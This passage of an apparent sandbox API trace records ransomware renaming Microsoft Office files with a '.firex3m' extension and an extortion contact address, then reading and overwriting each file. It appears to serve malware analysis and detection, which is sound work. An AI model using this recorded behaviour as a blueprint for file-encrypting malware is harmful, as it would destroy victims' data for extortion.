Integrated\\bin\\Microsoft.Mashup.Container.NetFX40.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.netfx40.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX40.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.netfx40.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0154.920] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0154.921] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX40.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfc6c | out: lpFindFileData=0x36bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88e2fa3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x88e2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x92201bc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5070, dwReserved0=0x6e0069, dwReserved1=0x720065, cFileName="Microsoft.Mashup.Container.NetFX40.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MICROS~3.FIR")) returned 0x6d52c0 [0154.921] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0154.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX40.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.netfx40.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0154.921] GetProcessHeap () returned 0x630000 [0154.921] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5081) returned 0x721bfe8 [0154.922] GetProcessHeap () returned 0x630000 [0154.922] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5081) returned 0x7221078 [0154.922] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.922] ReadFile (in: hFile=0x718, lpBuffer=0x721bfe8, nNumberOfBytesToRead=0x5060, lpNumberOfBytesRead=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x721bfe8*, lpNumberOfBytesRead=0x36bff0c*=0x5060, lpOverlapped=0x0) returned 1 [0157.164] GetProcessHeap () returned 0x630000 [0157.164] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176480 [0157.164] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.165] WriteFile (in: hFile=0x718, lpBuffer=0x7221078*, nNumberOfBytesToWrite=0x5060, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7221078*, lpNumberOfBytesWritten=0x36bff0c*=0x5060, lpOverlapped=0x0) returned 1 [0157.165] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.165] WriteFile (in: hFile=0x718, lpBuffer=0x72260d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72260d7*, lpNumberOfBytesWritten=0x36bff0c*=0x20, lpOverlapped=0x0) returned 1 [0157.165] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.165] WriteFile (in: hFile=0x718, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x36bff0c*=0x4, lpOverlapped=0x0) returned 1 [0157.165] CloseHandle (hObject=0x718) returned 1 [0157.165] GetProcessHeap () returned 0x630000 [0157.165] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7221078 | out: hHeap=0x630000) returned 1 [0157.165] GetProcessHeap () returned 0x630000 [0157.165] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x721bfe8 | out: hHeap=0x630000) returned 1 [0157.165] GetProcessHeap () returned 0x630000 [0157.166] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176480 | out: hHeap=0x630000) returned 1 [0157.166] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0157.166] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX40.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfcc4 | out: lpFindFileData=0x36bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88e2fa3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x88e2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x239f7f9b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x5094, dwReserved0=0xc447496, dwReserved1=0x721bfe0, cFileName="Microsoft.Mashup.Container.NetFX40.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MICROS~3.FIR")) returned 0x6d5000 [0157.166] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0157.166] Sleep (dwMilliseconds=0x1) [0161.611] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1029\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x36bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1029\\PowerPivotExcelClientAddIn.rll") returned 1 [0161.611] GetProcessHeap () returned 0x630000 [0161.611] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bc8) returned 0x707d3d0 [0161.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1029\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1029\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0161.616] CloseHandle (hObject=0x5e4) returned 1 [0161.616] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0161.616] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1029\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1029\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1029\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1029\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0161.617] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0161.617] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1029\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfc6c | out: lpFindFileData=0x36bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d53c0 [0161.617] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0161.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1029\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1029\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0161.617] GetProcessHeap () returned 0x630000 [0161.618] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73608f8 [0161.618] GetProcessHeap () returned 0x630000 [0161.618] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x736bd28 [0161.618] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.618] ReadFile (in: hFile=0x5e4, lpBuffer=0x73608f8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x73608f8*, lpNumberOfBytesRead=0x36bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0166.850] GetProcessHeap () returned 0x630000 [0166.850] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0166.850] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.850] WriteFile (in: hFile=0x5e4, lpBuffer=0x736bd28*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x736bd28*, lpNumberOfBytesWritten=0x36bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0166.851] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.851] WriteFile (in: hFile=0x5e4, lpBuffer=0x7377127*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7377127*, lpNumberOfBytesWritten=0x36bff0c*=0x20, lpOverlapped=0x0) returned 1 [0166.851] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.851] WriteFile (in: hFile=0x5e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x36bff0c*=0x4, lpOverlapped=0x0) returned 1 [0166.851] CloseHandle (hObject=0x5e4) returned 1 [0166.851] GetProcessHeap () returned 0x630000 [0166.851] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x736bd28 | out: hHeap=0x630000) returned 1 [0166.851] GetProcessHeap () returned 0x630000 [0166.851] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73608f8 | out: hHeap=0x630000) returned 1 [0166.851] GetProcessHeap () returned 0x630000 [0166.851] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0166.851] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0166.851] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1029\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfcc4 | out: lpFindFileData=0x36bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x29654ad8, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x114e4, dwReserved0=0xc447496, dwReserved1=0x73608f0, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5040 [0166.852] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0166.852] Sleep (dwMilliseconds=0x1) [0167.652] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ms\\PowerViewRes.ms.xap", len=0x65 | out: pbstr=0x36bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ms\\PowerViewRes.ms.xap") returned 1 [0167.652] GetProcessHeap () returned 0x630000 [0167.652] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b78) returned 0x707d3d0 [0167.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ms\\PowerViewRes.ms.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ms\\powerviewres.ms.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0167.653] CloseHandle (hObject=0x410) returned 1 [0167.653] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0167.654] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ms\\PowerViewRes.ms.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ms\\powerviewres.ms.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ms\\PowerViewRes.ms.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ms\\powerviewres.ms.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0167.654] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0167.655] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ms\\PowerViewRes.ms.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfc6c | out: lpFindFileData=0x36bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15ab259c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15ab259c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ad884b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e046, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="PowerViewRes.ms.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5040 [0167.655] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0167.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ms\\PowerViewRes.ms.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ms\\powerviewres.ms.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0167.655] GetProcessHeap () returned 0x630000 [0167.655] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ee3ce0 [0167.655] GetProcessHeap () returned 0x630000 [0167.655] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6eef110 [0167.655] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.655] ReadFile (in: hFile=0x410, lpBuffer=0x6ee3ce0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee3ce0*, lpNumberOfBytesRead=0x36bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0176.500] GetProcessHeap () returned 0x630000 [0176.500] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71773d0 [0176.500] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.500] WriteFile (in: hFile=0x410, lpBuffer=0x6eef110*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6eef110*, lpNumberOfBytesWritten=0x36bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0176.501] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.501] WriteFile (in: hFile=0x410, lpBuffer=0x6efa50f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6efa50f*, lpNumberOfBytesWritten=0x36bff0c*=0x20, lpOverlapped=0x0) returned 1 [0176.503] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.503] WriteFile (in: hFile=0x410, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x36bff0c*=0x4, lpOverlapped=0x0) returned 1 [0176.503] CloseHandle (hObject=0x410) returned 1 [0176.503] GetProcessHeap () returned 0x630000 [0176.503] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6eef110 | out: hHeap=0x630000) returned 1 [0176.994] GetProcessHeap () returned 0x630000 [0176.994] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ee3ce0 | out: hHeap=0x630000) returned 1 [0176.994] GetProcessHeap () returned 0x630000 [0176.994] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71773d0 | out: hHeap=0x630000) returned 1 [0177.060] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.060] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ms\\PowerViewRes.ms.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfcc4 | out: lpFindFileData=0x36bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15ab259c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15ab259c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2f270daa, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4e06a, dwReserved0=0xc447496, dwReserved1=0x6ee3cd8, cFileName="PowerViewRes.ms.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5340 [0177.060] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0177.060] Sleep (dwMilliseconds=0x1) [0177.167] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_K_COL.HXK", len=0x48 | out: pbstr=0x36bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_K_COL.HXK") returned 1 [0177.167] GetProcessHeap () returned 0x630000 [0177.167] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b00) returned 0x707d3d0 [0177.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0177.168] CloseHandle (hObject=0x6a8) returned 1 [0177.168] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0177.168] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.169] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.169] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfc6c | out: lpFindFileData=0x36bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4855a5d, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4855a5d, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4855a5d, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_STD_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VISIO_~1.FIR")) returned 0x6d5340 [0177.169] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0177.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0177.169] GetProcessHeap () returned 0x630000 [0177.169] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a48f8 [0177.170] GetProcessHeap () returned 0x630000 [0177.170] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a54c8 [0177.170] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.170] ReadFile (in: hFile=0x6a8, lpBuffer=0x6a48f8, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a48f8*, lpNumberOfBytesRead=0x36bff0c*=0x60, lpOverlapped=0x0) returned 1 [0177.171] GetProcessHeap () returned 0x630000 [0177.171] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0177.171] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.171] WriteFile (in: hFile=0x6a8, lpBuffer=0x6a54c8*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a54c8*, lpNumberOfBytesWritten=0x36bff0c*=0x60, lpOverlapped=0x0) returned 1 [0177.171] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.171] WriteFile (in: hFile=0x6a8, lpBuffer=0x6a5527*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a5527*, lpNumberOfBytesWritten=0x36bff0c*=0x20, lpOverlapped=0x0) returned 1 [0177.171] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.171] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x36bff0c*=0x4, lpOverlapped=0x0) returned 1 [0177.171] CloseHandle (hObject=0x6a8) returned 1 [0177.172] GetProcessHeap () returned 0x630000 [0177.172] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a54c8 | out: hHeap=0x630000) returned 1 [0177.172] GetProcessHeap () returned 0x630000 [0177.172] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a48f8 | out: hHeap=0x630000) returned 1 [0177.172] GetProcessHeap () returned 0x630000 [0177.172] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0177.172] MultiByteToWideChar (in: 